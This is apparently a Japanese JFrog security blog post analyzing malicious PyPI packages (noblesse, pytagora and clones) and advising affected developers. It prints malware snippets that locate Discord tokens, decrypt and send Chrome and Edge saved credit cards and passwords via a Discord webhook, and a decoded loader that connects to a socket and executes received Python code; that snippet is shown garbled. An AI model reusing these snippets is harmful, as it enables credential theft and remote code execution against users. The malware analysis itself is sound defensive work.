JFrog がクレジットカード情報を盗み、コードを注入する悪意のあるコードが埋め込まれた PyPI パッケージを検出

Newly Discovered Malicious PyPI packages

ソフトウェアパッケージのリポジトリは、サプライチェーン攻撃の標的として注目されています。最近では、npm、PyPI、RubyGems などの人気リポジトリに対するマルウェアの攻撃に関するニュースがありました。開発者はリポジトリを盲目的に信頼し、安全であると仮定して、これらのソースからパッケージをインストールしています。時には、マルウェアパッケージのパッケージリポジトリへのアップロードが許可されることもあり、悪意のあるアクターは、リポジトリを利用してウイルスを配布し、パイプライン上の開発者と CI/CD マシンの両方に対して攻撃の機会を与えてしまいます。

JFrog セキュリティリサーチチーム (旧 Vdoo)による悪意のあるパッケージを自動的に識別する継続的な取り組みの一環として、PyPI にホストされているいくつかの Python パッケージを悪意のあるものとして報告しています。私たちは PyPI に悪意のあるパッケージの存在を警告し、PyPI は速やかにそれらを削除しました。
pepy.tech からのデータに基づき、私たちは悪意のあるパッケージが約 30,000 回ダウンロードされたものと考えています。これらの悪意のあるパッケージが使用されたことによる実際の影響についてのデータは現在のところありません。

今回のブログでは、これらのパッケージのテクニカル分析とその影響についてご紹介します。

報告されたパッケージ

Package name Maintainer Payload
noblesse xin1111 Discord のトークンを盗む、クレジットカード情報を盗む (Windowsベース)
genesisbot xin1111 noblesse と同じ
aryi xin1111 noblesse と同じ
suffer suffer noblesse と同じで、PyArmor によって難読化されています
noblesse2 suffer noblesse と同じ
noblessev2 suffer noblesse と同じ
pytagora leonora123 リモートコードインジェクション
pytagora2 leonora123 pytagora と同じ

テクニカル分析

難読化技術

上記のすべてのパッケージ(およびほとんどの初心者作成の Python マルウェア)は、次のようなシンプルな難読化技術を使用しています。

  1. Python テキストを簡単なエンコーダでエンコードする(例:Base64)
  2. デコードされたテキストをコードとして評価するために、evalを使用する

例えば、noblesse2 マルウェアのメインコードは以下のようになっています。

import base64, codecs
magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'
love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'
god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'
destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))

(データは簡略化しています)

この難読化は単純な静的解析ツールを騙すことはできますが、より徹底した解析には耐えられず、実際に多くの研究者がこのコードを詳しく調べるように警告しています。
難読化されたコードに使用されている特定の文字列(北欧メタルに影響されたもの?)から、このマルウェアがパブリックなツール python-obfuscator で処理されたものであることがわかりました。

aryi と suffer のパッケージは PyArmor を用いて難読化されており、マルウェア開発者が様々な難読化手法を試していることが伺えます。

noblesse ペイロード1 – Discord 認証トークンを盗む

noblesse ファミリーのマルウェアの1つ目のペイロードは、Discord の認証トークンを盗むことです。認証トークンは、攻撃者がトークンを最初に保持していたユーザーになりすませます(HTTPセッションクッキーに似ています)。

トークンを盗むペイロードは、悪名高い dTGPG (Discord Token Grabber Payload Generator)というペイロードをベースにしています。これはジェネレーターツールであり、公開されることはありませんでしたが、ペイロード(個別のトークン奪取手法)は公開されており、いくつかの例は Githubにもアップロードされていました。

Discord 認証トークンを盗むコードは非常にシンプルで、ハードコードされたパスのセットを繰り返し実行します。

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')

paths = {
    'Discord': roaming + '\\Discord',
    'Discord Canary': roaming + '\\discordcanary',
    'Discord PTB': roaming + '\\discordptb',
    'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
    'Opera': roaming + '\\Opera Software\\Opera Stable',
    'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
    'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}

そして、単純にこれらのパスの下(特に Local Sotrage\leveldb の下)にある全ての .log と .ldb ファイルを読み込んで、Discord 認証トークンを検索すると、以下のようになります。

  • AhDDanSZFkkf2j2J8co2d5Tn.G2rsTL.ZP2E7xR3AiapA8oNmgyqsao0Fj1(単一要素トークン-24文字+「.」+6文字+「.」+27文字)
  • mfa.zmDGLWt6FVZVIjc5Xo25luPYVTRWqPryLQUVOjN0kIzZ5uzWQ1fbHyiaTNj0sQ3j4cLSB7XibGzPaUHEc3mO (多要素トークン – “mfa.” + 84 文字)

結果は、Webhook(プライベートサーバーのテキストチャンネルに自動メッセージやデータの更新情報を送る簡単な方法)を介して、 で Discord にアップロードされます。

{
  "type": 1,
  "id": "807327703082074143",
  "name": "Captain Hook",
  "avatar": null,
  "channel_id": "725001140324008047",
  "guild_id": "720931953251057725",
  "application_id": null,
  "token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"
}

noblesse ペイロード2 – オートコンプリートの機密データ(クレジットカード情報とパスワード)を盗む

noblesse ファミリーの2つ目のペイロードは、「オートコンプリート」による情報窃取です。最近のブラウザはすべて、ユーザーのパスワードとクレジットカード情報の保存をサポートしています。

Browser support for saving passwords and credit card information

これは非常に便利なことですが、その反面、ローカルマシンにアクセスした悪意のあるソフトウェアによって、この情報が漏れてしまう可能性があります。

この場合、マルウェアは Chrome からクレジットカード情報を盗み出そうとします。

def cs():
    master_key = master()
    login_db = os.environ['USERPROFILE'] + os.sep + \
        r'AppData\Local\Google\Chrome\User Data\default\Web Data'
    shutil.copy2(login_db,
                 "CCvault.db")
    conn = sqlite3.connect("CCvault.db")
    cursor = conn.cursor()

    try:
        cursor.execute("SELECT * FROM credit_cards")
        for r in cursor.fetchall():
            username = r[1]
            encrypted_password = r[4]
            decrypted_password = dpw(
                encrypted_password, master_key)
            expire_mon = r[2]
            expire_year = r[3]
            hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")

さらに、保存されているパスワードやクレジットカード情報を Edge から盗みます(簡潔にするために省略しています)。

login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'
...
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
decrypted_password = dpw(encrypted_password, master_key)
if username != "" or decrypted_password != "":
	hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")

その情報は、先ほどと同じ Webhook でアップロードされます。

noblesse ペイロード3 – システム情報収集

noblesse ファミリーの3つ目のペイロードは、被害者のシステムに関する以下の情報を収集し、それを前述の Webhook  にアップロードします。

  • IP アドレス
  • コンピュータ名
  • User name
  • ユーザー名 (wmic path softwarelicensingservice get OA3xOriginalProductKey)
  • Windows バージョン (wmic os get Caption)
  • スクリーンショット (Pillow’s ImageGrab を使用)

pytagora – リモートコードインジェクション

今回調査した2つ目のマルウェアファミリーは、もっとシンプルなものです。
“Make pytagora theorem easy” (sic) という面白い口実で、このパッケージのコード全体を紹介しています。

import math
import base64,sys
def hello():
	exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))
def hypotenuse(a,b):
	hello()
	c = math.sqrt(math.pow(a,2) + math.pow(b,2))
	return round(c,2)
def other(c,x):
	y = math.sqrt(math.pow(c,2)-math.pow(x,2))
	return round(y,2)

以下は、難読化されたコードをデコードしたスニペットです。

import socket,struct,time
s=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))
l=struct.unpack('>I',s.recv(4))[0]
print (l)
d=s.recv(l)
print (d)
while len(d)>!1:
d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})

このマルウェアは TCP ポート 9009 のプライベート IP アドレスに接続を試み、ソケットから読み込まれた Python コードを実行します。

何をすべきか?

影響する開発者へのアドバイス

もし、PyPI の依存関係を確認した後、noblesse(またはそのクローン)がローカルにインストールされていることがわかった場合は、次のことをお勧めします。

  1. Edge に保存されているパスワードを確認し、各 Web サイトの漏洩したパスワードを変更します(さらに、これらのパスワードが再利用されているWebサイトもあります)。この確認は Edge を起動し、 edge://settings/passwords. で行います。保存されているパスワード(漏洩した可能性のあるもの)の全リストは Saved passwords. で確認できます。
  2. Chrome でどのクレジットカード情報が保存されているかを確認し、これらのクレジットカードの解約を検討します。確認は、 Chrome を開き、 chrome://settings/payments で行えます。保存されているクレジットカード情報の一覧(漏洩の可能性があるもの)は Payment methods に表示されます。

お使いのマシンに pytagora (or any of its clones) がローカルにインストールされていることが確認された場合、マルウェアに感染している可能性は低いものの、インストールされているアンチウイルスソフトウェアでフルスキャンを実行するなど、通常のマルウェアチェックの手順を踏むことをお勧めします。

サマリー

以前の PyPI の調査でも明らかになったように、公共のソフトウェアリポジトリには節度や自動化されたセキュリティコントロールが欠如しているため、経験の浅い攻撃者でもタイポスクワッティングや依存関係かく乱攻撃、単純なソーシャルエンジニアリング攻撃など、マルウェアを拡散するプラットフォームとして利用することができます。
今回分析したコードスニペットのほとんどは、既知の公開ツールをベースに、パラメータを少し変更しただけのものでした。また、難読化もパブリックな難読化ツールを利用していました。
このような「フランケンシュタイン」と呼ばれるマルウェアパッケージは、異なる攻撃ツールをつなぎ合わせたもの(流出パラメータを変更したもの)が多いようです。私たちは、パブリックなパッケージリポジトリを継続的に監視し、このような事例を無害化していきます。
最後に、迅速に対応して悪意のあるパッケージを削除してくれた Dustin Ingram (ダスティン・イングラム)氏(@di_codes)に感謝します。